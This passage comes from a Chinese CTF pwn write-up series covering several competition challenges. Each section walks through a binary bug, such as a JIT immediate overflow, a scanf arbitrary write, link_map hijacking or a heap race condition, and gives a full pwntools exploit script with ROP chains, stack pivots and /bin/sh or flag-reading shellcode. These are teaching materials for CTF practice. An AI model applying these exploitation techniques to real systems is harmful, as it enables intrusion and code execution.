怎么构造payload呢?
由于这里会将rax赋值给[rbp-0x18],所以在构造payload时应该将rbp设置为一个可写地址,在后续异常处理结束的ret之前
会抬栈0x18并且pop两个值,所以在ROP链之前还需要添加0x28的payload,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context.log_level='debug' context.terminal=['tmux' ,'splitw' ,'-h' ] libc=ELF('./libc.so.6' ) elf=ELF('./toolkit' ) while True : io=process('./toolkit' ) io.recvuntil('[+] ' ) io.sendline(str (0xDEAD00 )) io.recvuntil('Password: ' ) io.sendline('1' ) if io.recvuntil("Gift: " , timeout=0.1 ) != '' : break else : io.close() codebase = u64(io.recvuntil("\n\n" )[:-2 ].ljust(8 , '\x00' )) - 0x1591 log.success('codebase => {}' .format (hex (codebase))) pop_rdi_ret=0x0000000000002933 pop_rsi_r15_ret=0x0000000000002931 ret=0x000000000000101a payload='flag\x00' payload=payload.ljust(304 ,'a' ) payload+=p64(codebase + elf.bss(0x200 )) payload+=p64(codebase+0x25e0 ) payload=payload.ljust(360 ,'a' ) payload+=p64(codebase+pop_rdi_ret) payload+=p64(codebase+0x5060 ) payload+=p64(codebase+pop_rsi_r15_ret) payload+=p64(0 )+p64(0 ) payload+=p64(codebase+0x0000000000001270 ) payload+=p64(codebase+0x000000000000292A ) payload+=p64(0 )+p64(1 )+p64(3 )+p64(codebase+0x5260 )+p64(0x40 ) payload+=p64(codebase+elf.got['read' ]) payload+=p64(codebase+0x0000000000002910 ) payload+='a' *56 payload+=p64(codebase+pop_rdi_ret) payload+=p64(codebase+0x5260 ) payload+=p64(codebase+0x0000000000001330 ) io.recvuntil('[+] ' ) io.sendline('2' ) io.recvuntil('[-] ' ) io.sendline('2' ) io.recvuntil('Length: ' ) io.sendline('-1' ) io.recvuntil('Content: ' ) io.sendline(payload) io.recvuntil('Key: ' ) io.sendline('1' ) io.interactive()
需要注意的是,返回地址需要设置为try和catch之间的地址,只有这样才能被捕获异常。
按顺序执行4321的功能
看到sub_12B7
函数
v3为char类型,当v3为127时退出变量v4被置一,但这里判断之后再读取,所以当v3为127后依然会进行读取,并且写入的索引为++v3,而++v3为128,也就是0x80,由于v3为char类型,0x80实际上为-128,也就是会往a1[-0x80]位置处写入1个字节。
a1为0x4140,0x4140-0x80=0x40c0
在功能3中会往0x40c0处的数据指向的内存中写入数据
正常来说应该往0x00005555555592a0中写入数据,而由于我们可以修改0x5555555580c0地址末尾1字节的值,也就是可以将0x00005555555580c8的末尾一字节进行修改.
注意到
40c0上方的4080处就是stdout指针,所以我们可以将0x00005555555580c8修改为0x0000555555558080,也就是指向stdout指针,这样在功能3执行时就会往stdout结构体中写入数据。
这道题的预期解是劫持link_map结构体,所以我这里也按照预期解的思路进行操作
由于可以往stdout结构体中写入数据,所以我们可以泄露libc和pie地址
通过改小_IO_write_base
的值,就会输出_IO_write_ptr-_IO_write_base
之间的数据,由此来得到pie的地址。
在延迟绑定机制中,会push两个值,一个是该函数在rel.plt上的偏移,另一个则是link_map结构体的地址
link_map的地址存放在0x555555558008中,这个地址是.got.plt段的第二个字段
之后会调用dl_runtime_resolve
函数,在dl_runtime_resolve
中会调用_dl_fixup
函数,_dl_fixup
又会调用_dl_lookup_symbol
函数
_dl_lookup_symbol
函数的作用是在动态链接的库中查找符号,并返回符号的地址,所以如果我们能劫持查找的符号名,就能够劫持延迟绑定机制。
1 2 3 struct link_map *l const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);#define DT_STRTAB 5
strtab是link_map结构体中l_info数组的第六个元素
在程序结尾,会调用free函数,此时会进行延迟绑定机制,所以我们考虑劫持free函数。
功能2和功能1实际上和功能4,3是一样的。由于我们要劫持link_map结构体,所以在功能2处我们将末尾一字节修改为link_map结构体的地址,也就是got表的第二项的地址。
之后我们就可以修改link_map结构体的值了,link_map结构体开头如下
l_addr实际上是pie的地址
当dl_runtime_resolve执行结束后,函数的真实地址就会被写入到l_addr+sym.got
中
而l_info[5]位于link_map结构体的0x68偏移处,而我们可以将这个值修改为一个我们可控的内存地址,而我们可控的内存地址也只有0x4140,我们在其中构造好_dl_lookup_symbol函数需要的参数,将free解析为system函数。然而后面调用free的时候,则是free(ptr)
ptr并不是我们可控的,这样想构造system(“/bin/sh”)就有了点问题。这里就需要使用到l_addr,我们将l_addr稍微改大一点,使得l_addr+free@got=puts@got,这样一来system函数的地址就会被写入puts的got表中,后续调用puts(byte_4140)
实际上就是调用system(byte_4140)
,只需要提前在0x4140处写入/bin/sh字符串就可以getshell。
接下来看到需要在0x4140构造什么样的数据。
strtab为0x0000555555554570,对于alarm函数而言,sym->st_name为0x48,这个可以通过计算得到,也可以直接在gdb中查看
那么对于free函数,sym->st_name应该是多少
对于free函数,sym->st_name为0x77
所以,如果我们将l_info[5]设置为0x4140,那么我们需要在0x4140+0x77处构造好system字符串,同时在0x4140开头构造好/bin/sh.
puts的got表在free的got表后面8字节,所以我们只需要将l_addr在原来的基础上加8就可以。
整个攻击流程如下
l_info[5]已经被修改为了0x4140
l_addr也被修改为了pie+8
在0x4140开头,我们构造好/bin/sh字符串,第二个八字节就是strtab的地址,这里我们依然设置为0x4140,然后在0x4140处设置好system字符串。
如上图,system字符串可以顺利找到。
_dl_lookup_symbol_x
函数也会去解析system函数
解析完成后,puts的got表中也被写入了system函数的地址。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level='debug' libc=ELF('./libc.so.6' ) def pwn (): io.recvuntil('Age >> ' ) io.send('\x00' *0x80 +'\x80' ) io.recvuntil('Photo(URL) >> ' ) io.sendline(p64(0xfbad1887 )+p64(0 )*3 +'\xb0\x5d' ) pie_base = u64(io.recv(6 , timeout = 0.5 ).ljust(8 , b'\x00' )) - 0x40a0 if (pie_base & 0xfff ) != 0 : exit(-1 ) success('pie_base => {}' .format (hex (pie_base))) io.recvuntil('Name >> ' ) payload='/bin/sh\x00' payload+=p64(pie_base+0x4140 ) payload=payload.ljust(0x77 ,'\x00' ) payload+='system' payload=payload.ljust(0x80 ,'\x00' ) payload+=p8(0x8 ) io.send(payload) payload=p64(pie_base+0x8 ).ljust(0x68 ,'\x00' ) payload+=p64(pie_base+0x4140 ) io.recvuntil('Hobby >> ' ) io.sendline(payload) io.interactive() if __name__ == '__main__' : while True : global io try : io=process('./pwn' ) pwn() break except : io.close()
0x13.DASCTF 6th A_dream 【多线程pwn,栈迁移】 一道多线程的栈溢出
开了很严格的沙箱,禁止了orw
启动一个线程
在这个线程函数中定时打印。
在下面的函数中,也就是主线程中开启沙箱,并存在一个栈溢出,能够刚好覆盖到返回地址。
由于溢出字节不够,所以肯定得栈迁移。
栈迁移往bss段迁移,一般的栈迁移得将返回地址设置为leave ret,但这里只有一次输入机会,所以如果设置为leave ret后续也没有继续操作的机会了,因此第一次溢出返回地址不能设置为leave ret,那么该如何操作?
还是将rbp覆盖为要迁移过去的地址加上缓冲区的大小,即bss+0x40,将返回地址覆盖为read函数开始处,如下
leave相当于mov rsp,rbp;pop rbp,执行完leave之后rbp将会被设置为bss段的地址
然后继续调用溢出函数,由于溢出函数的buffer是以rbp的值为基准的,所以在这一次溢出之中,read函数将往bss段写入数据。在这一次读取中,我们直接将后需要执行的rop链写入bss段中,然后将rbp覆盖为bss-0x8,将返回地址设置为leave ret,这样一来就会栈迁移到bss处继续往下执行,而由于一开始rbp的值为bss+0x40,后续read将往bss+0x40-0x40中写入数据,所以栈迁移过去之后就会直接执行我们事先写入的ROP链。
那么我们的ROP链要进行什么操作?由于主线程中存在沙箱,无法getshell或者orw,那么只能在子线程中做手脚。子线程中调用了write函数,如果我们劫持write的got表为read的溢出函数,那么我们就能够在子线程中进行溢出操作。所以在前面的ROP链中我们将对write函数的got表进行修改。修改了got表之后再调用sleep函数使主线程进入阻塞,因为如果主线程结束了那么子线程也会消失,我们需要阻塞主线程使得我们能够对子线程进行操作。
我们往bss段中写入如下数据
1 2 payload=p64(pop_rsi_r15)+p64(elf.got['write' ])+p64(0 )+p64(elf.plt['read' ])+p64(pop_rdi)+p64(0x1000 )+p64(elf.plt['sleep' ]) payload=payload.ljust(0x40 ,b'\x00' )+p64(bss-8 )+p64(leave_ret)
栈迁移之后
会执行read函数读取我们输入的数据来修改write的got表,随后进入sleep状态。然后子线程调用write函数时就会调用存在溢出的read。
这里有一点需要注意的是,如下图
这是调用write函数的栈空间,调用write首先会call write的plt,在call一个函数的时候会将其返回地址压栈,栈会变成如下所示:
而当我们将write的got表修改为了溢出点之后,调用read@plt的时候,栈空间是这个样子
相比正常调用write函数时多压了一个返回地址,这是因为一开始调用write@plt会压入一条返回地址,后面调用read@plt也会压入一条返回地址。那么read函数的buffer是哪
由于返回地址位于0x7fa0e3c1fee0
处,所以我们只需要填充0x30的垃圾字符就能劫持控制流,在这一次溢出之中,我们将要泄露libc地址,返回地址依然设置为存在溢出的read,其实得到libc地址之后就能够故技重施调用system(“/bin/sh”),但system这里栈对其有点问题,多出来的字节也只能写一个ret,所以不能够直接将返回地址修改为system,还是需要像前面那样进行栈迁移以扩充我们的可用字节数。
由于子线程的栈是mmap出来的一块内存,所以相对于libc的偏移固定,我们只需要计算出libc地址,就能够得到子线程的栈地址。然后我们直接将system的rop链写入到buffer中,然后将rbp修改为buffer-8,返回地址修改为leave ret,这样最后就会栈迁移到buffer开头处执行我们的ROP链,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context.log_level='debug' io=process('./pwn_9' ) elf=ELF('./pwn_9' ) libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so' ) bss=elf.bss()+0x100 magic_read=0x00000000004013AE pop_rdi=0x0000000000401483 pop_rsi_r15=0x0000000000401481 leave_ret=0x000000000040136c payload=b'a' *0x40 +p64(bss+0x40 )+p64(magic_read) io.send(payload) sleep(0.1 ) payload=p64(pop_rsi_r15)+p64(elf.got['write' ])+p64(0 )+p64(elf.plt['read' ])+p64(pop_rdi)+p64(0x1000 )+p64(elf.plt['sleep' ]) payload=payload.ljust(0x40 ,b'\x00' )+p64(bss-8 )+p64(leave_ret) gdb.attach(io) pause() io.send(payload) sleep(0.1 ) io.send(p64(magic_read)) sleep(0.1 ) payload=b'a' *0x30 +p64(pop_rdi)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(magic_read) io.send(payload) sleep(0.1 ) libc_base=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-libc.sym['puts' ] system_addr=libc_base+libc.symbols['system' ] binsh_addr=libc_base+next (libc.search(b'/bin/sh\x00' )) thread_stack_addr=libc_base-0x4150 log.success('libc_base => {}' .format (hex (libc_base))) log.success('system_addr => {}' .format (hex (system_addr))) log.success('binsh_addr => {}' .format (hex (binsh_addr))) ret=0x000000000040101a payload=p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) payload=payload.ljust(0x40 ,b'\x00' )+p64(thread_stack_addr-0x8 )+p64(leave_ret) io.send(payload) io.interactive()
0x14.铁三决赛 fast_emulator 【JIT pwn】
一道JIT的pwn题,之前没接触过这种类型的题目,比赛时没做出来。
输入汇编指令,然后程序会对其进行解析,其中parse_line函数是取出每一行指令,然后送入write_code函数将指令转换成字节码。
看到write_code函数
本质上就是通过检测指令助记符是哪个,然后设置对应的字节码,这里的漏洞在load指令解析处
首先将a2,也就是指令缓冲区开头两字节设置为0xc748,接着检测后面的字符是否为r,即检测第一个操作值是否为r1-r4,是的话就将指令缓冲区后面添加相应的字节码,c0-c3.
然后开始检测第二个操作值是否是十六进制数(开头是否为0x),是的话就将其转换成16进制,再将转换之后的数据存入缓冲区之中。
这里memcpy默认的长度为4,然而当转换16进制数之后的长度大于4的情况下,就会将多余的十六进制数也拷贝到字节码缓冲区中。
然而,在解析指令的时候,立即数的长度为4字节,多出来的字节会被解析为其他指令
输入下图指令
输入load r1, 0x1234567878563412
,解析的指令如下
很明显,from_hex除了将字符串转换成16进制数以外,还转换了字节序。我们需要利用溢出的字节来执行我们自己的shellcode。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level='debug' io=process('./fast_emulator' ) io.recvuntil('Please enter the number of lines you want to enter: ' ) io.sendline(b'4' ) io.recvuntil('> ' ) io.sendline(b'load r2 0x' +b'd23148f63148583b6a' +b'00000000' ) io.recvuntil('> ' ) io.sendline(b'load r2 0x' +b'68732f6e69622f2fbb48' +b'00000000' ) io.recvuntil('> ' ) io.sendline(b'load r2 0x' +b'e789485308ebc148' +b'00000000' ) io.recvuntil('> ' ) io.sendline(b'load r2 0x' +b'050f' +b'00000000' ) ''' push 0x3b pop rax xor rsi,rsi xor rdx,rdx mov rbx,0x68732f6e69622f2f shr rbx,8 push rbx mov rdi,rsp syscall ''' io.interactive()
注意,这里输入shellcode的字节码的时候,应该和正常的字节码的顺序相反,因为from_hex会做一次逆序。
0x15.CISCN2023 华南赛区 easynote 【scanf导致任意地址写】 很隐蔽的漏洞点
在使用scanf时,第二个参数应该传入变量的地址,形如
而在IDA的伪代码中不会显示&
在汇编中表示为lea
这个指令取出地址
而在这题中
对于size则是使用mov指令,正常情况是往size的地址中写入8字节的值,但在这里就是以size的值为地址写入8字节,如果能控制size就能够造成任意地址写。
如下图
size的地址为0x7fffffffda50
,但在scanf中却是以size的值0x4040d0
作为写入的地址 。
因此如果我们能够修改size的值,就可以使用scanf实现任意地址写
在get_int函数中
读取0x20字节的数据,然后使用atoi函数将其转换成整型
v1恰好可以覆盖到size的值。
程序没有开启RELRO,got表可写。
首先来泄露libc地址,由于got表可写,所以可以将atoi的got表覆盖为printf的plt表,并且由于atoi的参数可控,则printf的参数也可控,这样就能够导致格式化字符串漏洞。
通过格式化字符串漏洞可以泄露栈地址、libc地址等各种地址。
有了栈地址和libc地址之后我原本打算将ROP链写入到show或者其他功能的返回地址处,但是由于每次只能写8字节,且show功能和add功能的栈空间有重叠,无法完全写入ROP链,所以这里就需要想别的利用方式。
这题的bss段中有stdout的got表
所以可以劫持stdout到我们伪造的FILE结构体处,然后触发house of cat进行ROP。
这里选择使用house of cat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *context.log_level='debug' io=process('./easynote' ) elf=ELF('./easynote' ) libc=ELF('./libc.so.6' ) def add (size,content ): io.recvuntil('Choice :\n' ) io.sendline('1' ) io.recvuntil(b'talk\n' ) io.sendline(str (size)) io.recvuntil('Say?\n' ) io.send(content) def show (): io.recvuntil('Choice :\n' ) io.sendline('2' ) def edit (content ): io.recvuntil('Choice :\n' ) io.sendline('3' ) io.recvuntil('Content :\n' ) io.send(content) def dele (): io.recvuntil('Choice :\n' ) io.sendline('4' ) def setval (addr,val ): io.recvuntil('Choice :\n' ) payload=b'a' payload=payload.ljust(0x18 ,b'\x00' ) payload+=p64(addr) io.send(payload) add(val,b'\x1a' ) setval(elf.got[b'atoi' ],elf.plt[b'printf' ]) io.recvuntil('Choice :\n' ) payload='%p%17$p' io.send(payload) stack_addr=int (io.recv(14 ),16 ) libc_base=int (io.recv(14 ),16 )-0x29d90 open_addr=libc_base+libc.symbols['open' ] read_addr=libc_base+libc.symbols['read' ] write_addr=libc_base+libc.symbols['write' ] setcontext=libc_base+libc.symbols['setcontext' ]+61 pop_rdi=libc_base+0x000000000002a3e5 pop_rsi=libc_base+0x000000000002be51 pop_rdx_r12=libc_base+0x000000000011f497 file_addr=0x00000000004040A0 + 0x300 io_wfile_jumps=libc_base+0x2160c0 rop_addr=file_addr-0x100 ret=libc_base+0x0000000000029cd6 log.success('stack_addr => {}' .format (hex (stack_addr))) log.success('libc_base => {}' .format (hex (libc_base))) log.success('open_addr => {}' .format (hex (open_addr))) log.success('read_addr => {}' .format (hex (read_addr))) log.success('write_addr => {}' .format (hex (write_addr))) io.recvuntil('Choice :\n' ) payload=b'a' .ljust(0x18 ,b'\x00' ) payload+=p64(elf.got[b'atoi' ]) io.send(payload) io.recvuntil(b'talk\n' ) io.sendline(str (0x4010c0 )) io.recvuntil('Say?\n' ) io.send('a' ) setval(file_addr,0 ) setval(file_addr+8 ,0 ) setval(file_addr+0x10 ,0 ) setval(file_addr+0x18 ,0 ) setval(file_addr+0x20 ,0 ) setval(file_addr+0x28 ,0 ) setval(file_addr+0x30 ,0 ) setval(file_addr+0x38 ,0 ) setval(file_addr+0x40 ,1 ) setval(file_addr+0x48 ,0 ) setval(file_addr+0x50 ,file_addr+0xb0 ) setval(file_addr+0x58 ,setcontext) setval(file_addr+0x60 ,0 ) setval(file_addr+0x68 ,0 ) setval(file_addr+0x70 ,0 ) setval(file_addr+0x78 ,0 ) setval(file_addr+0x80 ,0 ) setval(file_addr+0x88 ,file_addr+0x200 ) setval(file_addr+0x90 ,0 ) setval(file_addr+0x98 ,0 ) setval(file_addr+0xa0 ,file_addr+0x30 ) setval(file_addr+0xa8 ,0 ) setval(file_addr+0xb0 ,0 ) setval(file_addr+0xb8 ,0 ) setval(file_addr+0xc0 ,0 ) setval(file_addr+0xc8 ,0 ) setval(file_addr+0xd0 ,0 ) setval(file_addr+0xd8 ,io_wfile_jumps+0x10 ) setval(file_addr+0xd8 +0x38 ,file_addr+0x40 ) setval(file_addr+0xb0 +0xa0 ,rop_addr) setval(file_addr+0xb0 +0xa8 ,ret) setval(file_addr-0x200 ,u64(b'flag' .ljust(8 ,b'\x00' ))) payload=[pop_rdi,file_addr-0x200 ,pop_rsi,0 ,open_addr,pop_rdi,3 ,pop_rsi,file_addr+0x100 ,pop_rdx_r12,100 ,0 ,read_addr,pop_rdi,1 ,pop_rsi,file_addr+0x100 ,pop_rdx_r12,100 ,0 ,write_addr] for x in payload: setval(rop_addr,x) rop_addr+=8 io.recvuntil('Choice :\n' ) payload=b'a' .ljust(0x18 ,b'\x00' ) payload+=p64(0x4040a0 ) io.send(payload) io.recvuntil('Choice :\n' ) io.sendline('1' ) io.recvuntil(b'talk\n' ) io.sendline(str (file_addr)) io.interactive()
0x16.巅峰极客2023 linkmap 【栈迁移,构造syscall】
FULL RELRO,那么就没有延迟绑定机制,也就用不到linkmap结构体。
有一个很大的栈溢出,但是没有输出函数。
通常来说程序里会存在一个编译器生成的gadget
1 2 3 add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
只要能控制rbp和ebx的值就能够在栈上得到任意值。
但这题规避了这个gadget
不过这题自己有一些类似于后门函数的操作
这里将第一个参数的值指向的内存的数据赋给0x601040
,我们需要获得libc地址,就可以通过这个操作,将read@got的地址作为第一个参数传入,就可以将read函数的真实地址写入0x601040.
注意到read函数的开头处存在syscall,所以可以通过溢出构造出read函数将0x601040的末尾1字节修改为0x90,这样就能够得到syscall
整体思路就是通过不断地栈迁移写入数据,得到syscall,利用ret2csu构造出execve(“/bin/sh”,0,0)
execve系统调用号为59,可以通过read的返回值来构造,读取59个字符就能够将rax设置为59
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context.log_level='debug' io=process('./ezzzz' ) elf=ELF('./ezzzz' ) context.arch='amd64' backdoor=0x0000000000400606 csu_pop=0x00000000004007DA ''' .text:00000000004007DA 5B pop rbx .text:00000000004007DB 5D pop rbp .text:00000000004007DC 41 5C pop r12 .text:00000000004007DE 41 5D pop r13 .text:00000000004007E0 41 5E pop r14 .text:00000000004007E2 41 5F pop r15 .text:00000000004007E4 C3 retn ''' pop_rdi=0x00000000004007e3 pop_rsi_r15=0x00000000004007e1 leave_ret=0x0000000000400712 read_addr=0x0000000000400752 def ret_csu (func,arg1,arg2,arg3 ): payload=p64(0 )+p64(1 )+p64(func) payload+=p64(arg1)+p64(arg2)+p64(arg3) payload+=p64(0x00000000004007C0 )+p64(0 ) return payload payload1='A' *0x10 +p64(elf.bss(0x300 )+0x10 )+p64(read_addr) sleep(1 ) io.send(payload1) payload2='A' *0x10 +p64(elf.bss(0x400 ))+p64(pop_rdi)+p64(elf.got['read' ])+p64(backdoor)+p64(read_addr) sleep(1 ) io.send(payload2) payload3='/bin/sh\x00' +'A' *0x8 +p64(elf.bss(0x500 ))+p64(read_addr) sleep(1 ) io.send(payload3) payload4='A' *0x10 +p64(elf.bss(0x600 ))+p64(pop_rdi)+p64(0 )+p64(pop_rsi_r15)+p64(0x601040 )+p64(0 )+p64(0x00000000004004E0 )+p64(read_addr) sleep(1 ) io.send(payload4) sleep(1 ) io.send(p8(0x90 )) payload5='A' *0x10 +p64(elf.bss(0x700 ))+p64(pop_rdi)+p64(0 )+p64(pop_rsi_r15)+p64(elf.bss(0x100 ))+p64(0 )+p64(0x00000000004004E0 )+p64(csu_pop)+ret_csu(0x601040 ,0 ,0 ,0x601400 ) sleep(1 ) io.send(payload5) sleep(1 ) io.send('a' *59 ) io.interactive()
0x17.CISCN2023华南赛区 Virtual_World
打开是一个菜单堆
在初始化函数中
mmap出来了一块内存,并设置了一个结构体
如上图,edit函数中,存在越界读漏洞。
dele函数中存在uaf
根据堆中的执行vm_handler
opcode为4字节一组,不能超过6,功能1为push,将一个值压入栈中;功能2为
0x18.羊城杯2023shellcode 【shellcode】 主函数如下
输入ye以外的数据进入到else分支
只允许输入0x10字节的code,但由于if判断在输入的后面,所以实际上可以输入0x11字节的数据。数据的范围被限制在0x4f-0x5f之间
1 2 3 4 5 from pwn import *context.arch='amd64' for i in range (0x4f ,0x60 ): print (disasm(i.to_bytes(1 ,'little' )))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0: 4f rex.WRXB 0: 50 push rax 0: 51 push rcx 0: 52 push rdx 0: 53 push rbx 0: 54 push rsp 0: 55 push rbp 0: 56 push rsi 0: 57 push rdi 0: 58 pop rax 0: 59 pop rcx 0: 5a pop rdx 0: 5b pop rbx 0: 5c pop rsp 0: 5d pop rbp 0: 5e pop rsi 0: 5f pop rdi
对所有寄存器的push和pop
读取完输入之后开启了沙箱,然后执行我们输入的code
沙箱的意思是read系统调用的fd只能为0,write系统调用的fd要大于2,使用dup2重定向一下文件描述符即可。
只能输入0x17字节的shellcode,这是不够我们利用的,所以肯定得构造出read系统调用来读取更多的shellcode,syscall的字节码如下
这不在可输入的范围内,该如何输入syscall
注意到,只要输入不为ye,就会进入到else分支,因此可以在这里输入syscall的字节码,字节码将存储在buf中,刚执行shellcode时,寄存器和栈空间如下
rbx为0,可用于read系统调用的rax和rdi,rax为一个栈地址,可用于read的rsi,read的rdx不能太大否则会crash,可以将syscall的字节码0x50f作为rdx,构造好了read的各个寄存器之后,还需要最后使0x50f拼接到shellcode之后,从而执行syscall。
0x50f位于shellcode下方0x20处,将rsp迁移到0x50f的栈地址之后,再将0x50f连续push四次即可将shellcode和syscall拼接起来。
然后就可以通过read读取下一段shellcode,构造出符合沙箱条件的shellcode即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *context.arch='amd64' context.log_level='debug' context.terminal = ['tmux' ,'splitw' ,'-h' ] io=process('./shellcode' ) shellcode1=''' push rax pop rsi push rbx pop rax push rbx pop rdi pop rcx pop rcx pop rsp pop rbx push rbx push rbx push rbx push rbx push rbx pop rdx ''' io.recvuntil('(ye / no)\n' ) io.send(b'\x0f\x05' ) io.recvuntil('========\n' ) io.send(asm(shellcode1).ljust(0x11 ,b'\x50' )) shellcode2=b'\x90' *0x12 shellcode2+=asm(''' mov rax, 0x67616c66 push rax mov rdi,rsp mov rax,2 xor rsi,rsi syscall mov rdi,rax mov rax,33 mov rsi,0 syscall mov rdi,0 mov rsi,rsp add rsi,0x200 mov rdx,0x100 mov rax,0 syscall mov rax,33 mov rdi,1 mov rsi,5 syscall mov rdi,5 mov rsi,rsp add rsi,0x200 mov rax,1 mov rdx,0x100 syscall ret ''' )io.send(shellcode2) io.interactive()
0x19.羊城杯2023heap 【多线程条件竞争】
一个多线程的堆题
在edit功能中存在一个sleep(1),然后再进行strcpy,如果在edit时,我们free掉这个正在被edit的chunk再申请一块size更小一点的chunk,就能够导致堆溢出。
这是一个条件竞争漏洞。
在add功能中
先分配一个0x10的chunk,然后再申请用户需要的chunk,size限制在0x50-0x68之间,申请出来的chunk如下所示
小chunk的前8字节存储着用户chunk的地址,第二个8字节存储着用户chunk的size。
如何利用条件竞争漏洞呢?
首先
size是根据index来的,如果在sleep前后,s[index]中存储的chunk指针发生了变化,就能够导致一个堆溢出的漏洞。比如s[0]一开始存储的是0x63的chunk,那么size将被赋值为0x63,而如果在sleep过程中,s[0]被修改为了0x60的chunk,那么就可以通过s[0]溢出到下一个chunk的size中。
首先来泄露libc地址
由于fgets会在输入的末尾添加0,所以常规的通过堆上残留的地址信息来泄露libc地址的方法是行不通的。
在edit功能中
是通过小chunk中存储的指针来索引堆块的,只要能修改这个指针,我们就能够泄露出想要的数据。
线程中的堆块是在mmap中开辟出来的内存中的。由于会在末尾添加0,所以对于这个指针的修改至多只能是2字节 ,看看修改末尾2字节能够找到哪些数据:
在0x7f0b6c000000+0x8a0处,可以找到一个libc地址,可以通过堆溢出将chunk指针的末尾两字节修改为0x8a0来进行泄露
将下一个chunk修改为如下图所示
如此一来就能够泄露libc地址了。
然后再故技重施,泄露栈地址,不过栈地址不能使用environ指针来泄露了,因为environ的值的末尾1字节为00,会被strncpy截断,所以需要换一个
参数的指针也是可以的
得到栈地址之后,进而可以计算出pthread_create的返回地址
然后再使用第三次堆溢出,修改返回地址的值为onegadget
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context.log_level='debug' context.terminal = ['tmux' ,'splitw' ,'-h' ] io=process('./heap' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (content ): payload=b'1 ' payload+=content io.recvuntil('Your chocie:\n\n' ) io.sendline(payload) def show (index ): payload='2 ' payload+=str (index) io.recvuntil('Your chocie:\n\n' ) io.sendline(payload) def edit (index,content ): payload=b'3 ' payload+=str (index).encode() payload+=b':' payload+=content payload+=b'\x00' io.recvuntil('Your chocie:\n\n' ) io.sendline(payload) def dele (index ): payload='4 ' payload+=str (index) io.recvuntil('Your chocie:\n\n' ) io.sendline(payload) add(b'a' *0x63 ) add(b'a' *0x58 ) add(b'a' *0x58 ) dele(1 ) edit(0 ,b'b' *0x60 +p16(0x8a0 )) dele(0 ) add(b'a' *0x58 ) sleep(1 ) show(2 ) libc_base=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x219c80 libc_argv=libc_base+0x21aa20 pop_rdi=libc_base+0x000000000002a3e5 system_addr=libc_base+libc.symbols['system' ] binsh_addr=libc_base+0x001d8698 onegadget=libc_base+0xebdaf log.success('libc_base => {}' .format (hex (libc_base))) log.success('libc_argv => {}' .format (hex (libc_argv))) io.sendline(b'1' +b'a' *0x58 ) add(b'c' *0x68 ) add(b'c' *0x58 ) add(b'c' *0x58 ) dele(4 ) edit(3 ,b'd' *0x60 +p64(libc_argv)) dele(3 ) add(b'c' *0x58 ) sleep(1 ) show(5 ) pthread_ret_addr=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x160 log.success('pthread_ret_addr => {}' .format (hex (pthread_ret_addr))) io.sendline(b'1' +b'c' *0x58 ) add(b'e' *0x68 ) add(b'e' *0x58 ) add(b'e' *0x58 ) dele(7 ) edit(6 ,b'f' *0x60 +p64(pthread_ret_addr)) dele(6 ) add(b'e' *0x58 ) edit(8 ,p64(onegadget)) sleep(1 ) io.recvuntil(b'Input the new paper content' ) io.recvuntil(b'Input the new paper content' ) io.sendline() io.interactive()
0x1A.ACTF2023 master-of-orw【io_uring系统调用、recvfrom、connect在shellcode中的使用】 开了一个很逆天的沙箱
open read write被禁了个遍,那么该如何成为master呢?
正统的方法是使用io_uring
,io_uring是从内核版本5.1之后添加进去的新特性,有以下三个系统调用
1 2 3 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427
io_uring
主要为了解决 原生AIO(Native AIO)
存在的一些不足之处。比如系统调用开销大。
由于调用系统调用时,会从用户态切换到内核态,从而进行上下文切换,而上下文切换会消耗一定的 CPU 时间。
使用 read()
和 write()
等系统调用进行 I/O 操作时,会从用户态嵌入到内核态,如下图所示:
io_uring
为了减少或者摒弃系统调用,采用了用户态与内核态 共享内存
的方式来通信。如下图所示:
实际上该调用read还是一样调用,但是不走read系统调用了,走的是io_uring的系统调用。
